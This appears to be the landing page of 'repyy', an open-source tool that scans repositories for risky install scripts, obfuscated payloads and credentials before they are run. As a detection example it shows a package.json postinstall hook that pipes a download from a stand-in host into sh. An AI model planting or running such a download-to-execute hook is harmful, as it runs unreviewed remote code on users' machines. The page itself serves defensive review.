Lifecycle scripts, custom registries, unsafe binaries, and download-to-execute chains are evaluated together.
Repository preflight. Free and open source.
A closer look.Before you run.
Inspect unfamiliar repositories before installing dependencies or executing code. Built for take-home assignments, interviews, and code review.
package.json Install behavior
10 "scripts": {11 "test": "vitest",12 "postinstall":13 "curl -fsSL https://example.invalid/setup.sh | sh"14 }
Before the app starts,
a script can run.
repyy reads install paths as data and surfaces behavior to review. The target code stays unexecuted.
Your code stays on your machine. Local scans need no network. Remote scans clone only the repository you request.
MIT licensed · No account · No telemetryWhat the scan checks
Look beyond the source files.
Rules trace executable behavior across install paths, automation, encoded payloads, credentials, metadata, and archives.
Severity and confidence remain separate so review signals are not presented as proof of compromise.
Encoded payloads, dynamic execution, entropy, string shufflers, and invisible characters.
Credential-shaped values are detected without printing the sensitive value in reports.
CI, editor tasks, agent instructions, containers, Git hooks, archives, and social-engineering signals remain in scope.
Coverage limits
A clear limit.
An honest result.
Every scan has a boundary. If a timeout, limit, or read error reduces coverage, repyy reports the scan as incomplete.
These defaults are adjustable. They are not detection guarantees.
From assignment to decision
Put the review
before the build.
Start with the Git URL. Keep the repository unexecuted until you understand the findings.
assignment.gitA URL is enough to begin.Start outside
the workspace.
Use a remote scan before opening the repository with workspace trust enabled.
repyy scan URLRead-only static inspection.Inspect without
running it.
Remote targets use a temporary shallow clone with hooks and submodules disabled.
path · rule · contextFollow each finding to its source.Read the evidence
in context.
Check locations, severity, confidence, and any coverage limits before deciding.
Your next command.Your decision.Choose what
happens next.
Continue in isolation, ask for context, or stop when the evidence warrants it.
Report formats
The same evidence.
A view that fits.
Read it in your terminal, pass it to automation, or keep an offline report. Source evidence is escaped and sensitive values are redacted.
$ repyy scan ./assignment
REVIEW REQUIRED
2 findings need context
HIGH PKG-014 package.json:12
MED OBF-003 src/setup.js:48
Understanding the result
A finding is
a starting point.
Interpret the evidence, give agents the same review instructions, and inspect where the rules came from.
Interpretation
Clear outcomes.
No false certainty.
A completed scan with no findings does not prove that a repository is safe.
Optional agent skill
The same boundary.
For your agent.
The skill instructs a coding agent to scan unfamiliar repositories before execution and report incomplete coverage.
Keep source local.
Report the limits.
npx skills add Kevin-Umali/repyy --skill repyyRule provenance
Local intelligence.
Inspectable origins.
repyy ships with a signed offline snapshot. Updates are explicit and verified before activation.
repyy intel statusrepyy rules explain CICD-003repyy intel rollbackGet started
Start with a scan.
Install repyy. Scan the assignment. Review what comes back.
$ brew install --cask Kevin-Umali/tap/repyy
Before you begin.
Does “No findings” mean the repository is safe?
No. It means the completed scan matched no enabled rule. Static analysis can miss malicious behavior and can report harmless code.
Can I scan private repositories?
Yes. HTTPS clones can use supported provider tokens. SSH remotes use your existing SSH agent.
Can a repository weaken its own scan?
No. Repository-owned .repyy.yaml files are ignored. Pass a configuration file you trust with the --config flag.